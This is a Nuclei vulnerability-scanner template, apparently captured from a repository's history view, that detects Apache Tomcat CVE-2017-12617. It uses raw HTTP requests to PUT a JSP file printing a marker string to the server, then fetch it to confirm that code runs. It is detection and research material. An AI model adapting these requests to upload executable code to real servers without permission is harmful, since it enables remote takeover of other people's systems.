nuclei-templates/http/cves/2017/CVE-2017-12617.yaml

38 lines
1.2 KiB
YAML
Raw Normal View History

2023-06-15 08:45:00 +00:00
id: CVE-2017-12617
info:
name: Apache Tomcat - Remote Code Execution
author: pussycat0x
severity: high
description: |
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
reference:
- https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
- https://github.com/cyberheartmi9/CVE-2017-12617
metadata:
verified: "true"
2023-06-15 09:48:32 +00:00
max-request: 2
2023-06-15 08:45:00 +00:00
tags: cve,cve2017,tomcat,apache,rce
http:
- raw:
- |
2023-06-15 09:48:32 +00:00
PUT /{{randstr}}.jsp HTTP/1.1
2023-06-15 08:45:00 +00:00
Host: {{Hostname}}
<% out.println("CVE-2017-12617");%>
- |
GET /{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "CVE-2017-12617"
- type: status
status:
2023-06-15 09:48:32 +00:00
- 200